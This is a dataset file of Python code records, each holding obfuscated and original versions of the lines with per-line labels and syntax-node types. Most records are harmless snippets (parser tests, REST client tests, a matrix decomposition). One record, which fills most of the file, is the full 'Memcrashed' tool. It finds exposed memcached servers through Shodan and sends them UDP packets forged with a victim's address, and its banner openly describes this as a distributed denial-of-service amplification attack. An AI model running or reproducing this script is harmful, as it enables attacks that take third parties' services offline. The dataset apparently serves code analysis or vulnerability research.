[ "def FUNC_8(self):...\n", "self.compilation_ok(\n \"\"\"\nif header :contains \"Cc\" \"/* comment */\" {\n discard;\n}\n\"\"\")\n", "self.representation_is('string')\n" ]
[ "def test_string_with_bracket_comment(self):...\n", "self.compilation_ok(\n \"\"\"\nif header :contains \"Cc\" \"/* comment */\" {\n discard;\n}\n\"\"\")\n", "self.representation_is(\n \"\"\"\nif (type: control)\n header (type: test)\n :contains\n \"Cc\"\n \"/* comment */\"\n discard (type: action)\n\"\"\"\n )\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Expr'", "Expr'" ]
[ "import sys, os, time, shodan\n", "from pathlib import Path\n", "from scapy.all import *\n", "from contextlib import contextmanager, redirect_stdout\n", "VAR_0 = time.time()\n", "@contextmanager...\n", "yield\n", "VAR_3 = '\\x1b[0m'\n", "VAR_1 = Path('./api.txt')\n", "VAR_2 = CLASS_0.HEADER + 'string'\n", "print(VAR_2)\n", "if VAR_1.is_file():\n", "VAR_5 = VAR_4.readline().rstrip('\\n')\n", "VAR_4 = open('api.txt', 'w')\n", "while True:\n", "VAR_5 = input('[*] Please enter a valid Shodan.io API Key: ')\n", "VAR_6 = shodan.Shodan(VAR_5)\n", "VAR_4.write(VAR_5)\n", "print('')\n", "print('[~] File written: ./api.txt')\n", "VAR_7 = Path('./bots.txt')\n", "print('[✘] Error: %s' % e)\n", "VAR_4.close()\n", "VAR_8 = input(\n '[*] Use Shodan API to search for affected Memcached servers? <Y/n>: '\n ).lower()\n", "VAR_16 = input('[*] Would you like to change API Key? <Y/n>: ').lower()\n", "if VAR_8.startswith('y'):\n", "if VAR_16.startswith('y'):\n", "print('')\n", "VAR_9 = input('[*] Would you like to use locally stored Shodan data? <Y/n>: '\n ).lower()\n", "VAR_4 = open('api.txt', 'w')\n", "print('')\n", "print('[~] Checking Shodan.io API Key: %s' % VAR_5)\n", "if VAR_7.is_file():\n", "VAR_5 = input('[*] Please enter valid Shodan.io API Key: ')\n", "print('[β€’] Exiting Platform. Have a wonderful day.')\n", "VAR_10 = VAR_6.search('product:\"Memcached\" port:11211')\n", "if VAR_9.startswith('y'):\n", "print('')\n", "VAR_4.write(VAR_5)\n", "print('[βœ“] API Key Authentication: SUCCESS')\n", "VAR_20 = [line.rstrip() for line in my_file]\n", "if VAR_9.startswith('y') or VAR_8.startswith('y'):\n", "print('[✘] Error: No bots stored locally, bots.txt file not found!')\n", "print('[~] File written: ./api.txt')\n", "print('[~] Number of bots: %s' % VAR_10['total'])\n", "print('')\n", "print('')\n", "print('')\n", "VAR_4.close()\n", "print('')\n", "VAR_12 = input('[β–Έ] Enter target IP address: ')\n", "print('[✘] Error: No bots stored locally or remotely on Shodan!')\n", "print('[~] Restarting Platform! Please wait.')\n", "VAR_11 = input('[*] Save results for later usage? <Y/n>: ').lower()\n", "VAR_13 = int(input('[β–Έ] Enter preferred power (Default 1): ') or '1')\n", "print('[~] Restarting Platform! Please wait.')\n", "print('')\n", "if VAR_11.startswith('y'):\n", "VAR_14 = input('[β–Έ] Enter payload contained inside packet: '\n ) or '\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n'\n", "print('')\n", "VAR_17 = open('bots.txt', 'a')\n", "print('')\n", "for result in VAR_10['matches']:\n", "if VAR_8.startswith('y'):\n", "VAR_17.write(result['ip_str'] + '\\n')\n", "print('[~] File written: ./bots.txt')\n", "VAR_18 = input(\n '[*] Would you like to display all the bots from Shodan? <Y/n>: ').lower()\n", "if VAR_9.startswith('y'):\n", "print('')\n", "if VAR_18.startswith('y'):\n", "VAR_19 = input(\n '[*] Would you like to display all the bots stored locally? <Y/n>: '\n ).lower()\n", "print('')\n", "VAR_17.close()\n", "print('')\n", "if VAR_19.startswith('y'):\n", "VAR_15 = input('[*] Ready to engage target %s? <Y/n>: ' % VAR_12).lower()\n", "VAR_21 = int(0)\n", "print('')\n", "if VAR_15.startswith('y'):\n", "for result in VAR_10['matches']:\n", "VAR_21 = int(0)\n", "if VAR_9.startswith('y'):\n", "print('')\n", "VAR_22 = VAR_6.host('%s' % result['ip_str'])\n", "for x in VAR_20:\n", "for i in VAR_20:\n", "for result in VAR_10['matches']:\n", "print('[✘] Error: %s not engaged!' % VAR_12)\n", "VAR_21 = VAR_21 + 1\n", "VAR_22 = VAR_6.host('%s' % x)\n", "if VAR_13 > 1:\n", "print('')\n", "if VAR_13 > 1:\n", "print('[~] Restarting Platform! Please wait.')\n", "print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (VAR_21,\n result['ip_str'], VAR_22.get('os', 'n/a'), VAR_22.get('org', 'n/a')))\n", "VAR_21 = VAR_21 + 1\n", "print('[+] Sending %d forged UDP packets to: %s' % (VAR_13, i))\n", "if VAR_13 == 1:\n", "print('[β€’] Task complete! Exiting Platform. Have a wonderful day.')\n", "print('[+] Sending %d forged UDP packets to: %s' % (VAR_13, result['ip_str']))\n", "if VAR_13 == 1:\n", "print('')\n", "time.sleep(1.1 - (time.time() - VAR_0) % 1.1)\n", "print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (VAR_21, x,\n VAR_22.get('os', 'n/a'), VAR_22.get('org', 'n/a')))\n", "send(IP(src=target, dst='%s' % i) / UDP(dport=11211) / Raw(load=data),\n count=power)\n", "print('[+] Sending 1 forged UDP packet to: %s' % i)\n", "send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211) / Raw(\n load=data), count=power)\n", "print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n", "time.sleep(1.1 - (time.time() - VAR_0) % 1.1)\n", "send(IP(src=target, dst='%s' % i) / UDP(dport=11211) / Raw(load=data),\n count=power)\n", "send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211) / Raw(\n load=data), count=power)\n" ]
[ "import sys, os, time, shodan\n", "from pathlib import Path\n", "from scapy.all import *\n", "from contextlib import contextmanager, redirect_stdout\n", "starttime = time.time()\n", "@contextmanager...\n", "yield\n", "HEADER = '\\x1b[0m'\n", "keys = Path('./api.txt')\n", "logo = color.HEADER + \"\"\"\n\n β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•— β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— \n β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—\n β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘\n β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β•šβ•β•β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β• β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘\n β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•\n β•šβ•β• β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β• β•šβ•β•β•β•β•β•β•šβ•β• β•šβ•β•β•šβ•β• β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β• β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β•β•β•β•β• \n\n Author: @037\n Version: 3.2\n\n####################################### DISCLAIMER ########################################\n| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |\n| memcached servers. It then allows you to use the same servers to launch widespread |\n| distributed denial of service attacks by forging UDP packets sourced to your victim. |\n| Default payload includes the memcached \"stats\" command, 10 bytes to send, but the reply |\n| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. |\n| I am NOT responsible for any damages caused or any crimes committed by using this tool. |\n###########################################################################################\n \n\"\"\"\n", "print(logo)\n", "if keys.is_file():\n", "SHODAN_API_KEY = file.readline().rstrip('\\n')\n", "file = open('api.txt', 'w')\n", "while True:\n", "SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')\n", "api = shodan.Shodan(SHODAN_API_KEY)\n", "file.write(SHODAN_API_KEY)\n", "print('')\n", "print('[~] File written: ./api.txt')\n", "myresults = Path('./bots.txt')\n", "print('[✘] Error: %s' % e)\n", "file.close()\n", "query = input(\n '[*] Use Shodan API to search for affected Memcached servers? <Y/n>: '\n ).lower()\n", "option = input('[*] Would you like to change API Key? <Y/n>: ').lower()\n", "if query.startswith('y'):\n", "if option.startswith('y'):\n", "print('')\n", "saveme = input('[*] Would you like to use locally stored Shodan data? <Y/n>: '\n ).lower()\n", "file = open('api.txt', 'w')\n", "print('')\n", "print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)\n", "if myresults.is_file():\n", "SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')\n", "print('[β€’] Exiting Platform. Have a wonderful day.')\n", "results = api.search('product:\"Memcached\" port:11211')\n", "if saveme.startswith('y'):\n", "print('')\n", "file.write(SHODAN_API_KEY)\n", "print('[βœ“] API Key Authentication: SUCCESS')\n", "ip_array = [line.rstrip() for line in my_file]\n", "if saveme.startswith('y') or query.startswith('y'):\n", "print('[✘] Error: No bots stored locally, bots.txt file not found!')\n", "print('[~] File written: ./api.txt')\n", "print('[~] Number of bots: %s' % results['total'])\n", "print('')\n", "print('')\n", "print('')\n", "file.close()\n", "print('')\n", "target = input('[β–Έ] Enter target IP address: ')\n", "print('[✘] Error: No bots stored locally or remotely on Shodan!')\n", "print('[~] Restarting Platform! Please wait.')\n", "saveresult = input('[*] Save results for later usage? <Y/n>: ').lower()\n", "power = int(input('[β–Έ] Enter preferred power (Default 1): ') or '1')\n", "print('[~] Restarting Platform! Please wait.')\n", "print('')\n", "if saveresult.startswith('y'):\n", "data = input('[β–Έ] Enter payload contained inside packet: '\n ) or '\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n'\n", "print('')\n", "file2 = open('bots.txt', 'a')\n", "print('')\n", "for result in results['matches']:\n", "if query.startswith('y'):\n", "file2.write(result['ip_str'] + '\\n')\n", "print('[~] File written: ./bots.txt')\n", "iplist = input(\n '[*] Would you like to display all the bots from Shodan? <Y/n>: ').lower()\n", "if saveme.startswith('y'):\n", "print('')\n", "if iplist.startswith('y'):\n", "iplistlocal = input(\n '[*] Would you like to display all the bots stored locally? <Y/n>: '\n ).lower()\n", "print('')\n", "file2.close()\n", "print('')\n", "if iplistlocal.startswith('y'):\n", "engage = input('[*] Ready to engage target %s? <Y/n>: ' % target).lower()\n", "counter = int(0)\n", "print('')\n", "if engage.startswith('y'):\n", "for result in results['matches']:\n", "counter = int(0)\n", "if saveme.startswith('y'):\n", "print('')\n", "host = api.host('%s' % result['ip_str'])\n", "for x in ip_array:\n", "for i in ip_array:\n", "for result in results['matches']:\n", "print('[✘] Error: %s not engaged!' % target)\n", "counter = counter + 1\n", "host = api.host('%s' % x)\n", "if power > 1:\n", "print('')\n", "if power > 1:\n", "print('[~] Restarting Platform! Please wait.')\n", "print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter,\n result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))\n", "counter = counter + 1\n", "print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n", "if power == 1:\n", "print('[β€’] Task complete! Exiting Platform. Have a wonderful day.')\n", "print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n", "if power == 1:\n", "print('')\n", "time.sleep(1.1 - (time.time() - starttime) % 1.1)\n", "print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter,\n x, host.get('os', 'n/a'), host.get('org', 'n/a')))\n", "send(IP(src=target, dst='%s' % i) / UDP(dport=11211) / Raw(load=data),\n count=power)\n", "print('[+] Sending 1 forged UDP packet to: %s' % i)\n", "send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211) / Raw(\n load=data), count=power)\n", "print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n", "time.sleep(1.1 - (time.time() - starttime) % 1.1)\n", "send(IP(src=target, dst='%s' % i) / UDP(dport=11211) / Raw(load=data),\n count=power)\n", "send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211) / Raw(\n load=data), count=power)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 2, 0, 0, 0, 0 ]
[ "Import'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "Assign'", "Condition", "Expr'", "Assign'", "Assign'", "Assign'", "Expr'", "Condition", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "Expr'", "Expr'", "Expr'", "Assign'", "Expr'", "Expr'", "Assign'", "Assign'", "Condition", "Condition", "Expr'", "Assign'", "Assign'", "Expr'", "Expr'", "Condition", "Assign'", "Expr'", "Assign'", "Condition", "Expr'", "Expr'", "Expr'", "Assign'", "Condition", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Assign'", "Expr'", "Expr'", "Assign'", "Assign'", "Expr'", "Expr'", "Condition", "Assign'", "Expr'", "Assign'", "Expr'", "For", "Condition", "Expr'", "Expr'", "Assign'", "Condition", "Expr'", "Condition", "Assign'", "Expr'", "Expr'", "Expr'", "Condition", "Assign'", "Assign'", "Expr'", "Condition", "For", "Assign'", "Condition", "Expr'", "Assign'", "For", "For", "For", "Expr'", "Assign'", "Assign'", "Condition", "Expr'", "Condition", "Expr'", "Expr'", "Assign'", "Expr'", "Condition", "Expr'", "Expr'", "Condition", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'" ]
[ "def FUNC_17(self, VAR_17, **VAR_18):...\n", "\"\"\"docstring\"\"\"\n", "super(CLASS_2, self).redirect(str(VAR_17), **kwargs)\n" ]
[ "def redirect(self, url, **kwargs):...\n", "\"\"\"docstring\"\"\"\n", "super(Handler, self).redirect(str(url), **kwargs)\n" ]
[ 0, 0, 3 ]
[ "FunctionDef'", "Docstring", "Expr'" ]
[ "def FUNC_17(self):...\n", "self.base.wait()\n" ]
[ "def wait(self):...\n", "self.base.wait()\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "def FUNC_15(self):...\n", "VAR_14 = self.new_mocked_client(client.RESTClient, url_prefix='api/v1/ports')\n", "VAR_14.url_post('1/connections', jsonutils.dumps({'name': 'conn1'}))\n", "FUNC_1('post', VAR_14, 'https://1.2.3.4/api/v1/ports/1/connections', VAR_8=\n jsonutils.dumps({'name': 'conn1'}))\n" ]
[ "def test_client_url_post(self):...\n", "api = self.new_mocked_client(client.RESTClient, url_prefix='api/v1/ports')\n", "api.url_post('1/connections', jsonutils.dumps({'name': 'conn1'}))\n", "assert_call('post', api, 'https://1.2.3.4/api/v1/ports/1/connections', data\n =jsonutils.dumps({'name': 'conn1'}))\n" ]
[ 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Expr'", "Expr'" ]
[ "def FUNC_20(self):...\n", "" ]
[ "def _convert_to_entity(self):...\n", "" ]
[ 0, 0 ]
[ "FunctionDef'", "Condition" ]
[ "def FUNC_8(self):...\n", "self._cookie_jar.clear()\n" ]
[ "def clear_cookies(self):...\n", "self._cookie_jar.clear()\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "def FUNC_0(VAR_1):...\n", "\"\"\"docstring\"\"\"\n", "VAR_19, VAR_20 = eigh(VAR_1)\n", "VAR_21 = []\n", "for k in range(2):\n", "VAR_35 = VAR_20[:, (k)]\n", "return VAR_19, VAR_21\n", "VAR_21.append(np.outer(VAR_35.conj(), VAR_35))\n" ]
[ "def spectral_decomposition_qubit(A):...\n", "\"\"\"docstring\"\"\"\n", "d, v = eigh(A)\n", "P = []\n", "for k in range(2):\n", "temp = v[:, (k)]\n", "return d, P\n", "P.append(np.outer(temp.conj(), temp))\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Assign'", "For", "Assign'", "Return'", "Expr'" ]
[ "def FUNC_0(self, VAR_1, VAR_4):...\n", "" ]
[ "def run(self, args, headers):...\n", "" ]
[ 0, 0 ]
[ "FunctionDef'", "Condition" ]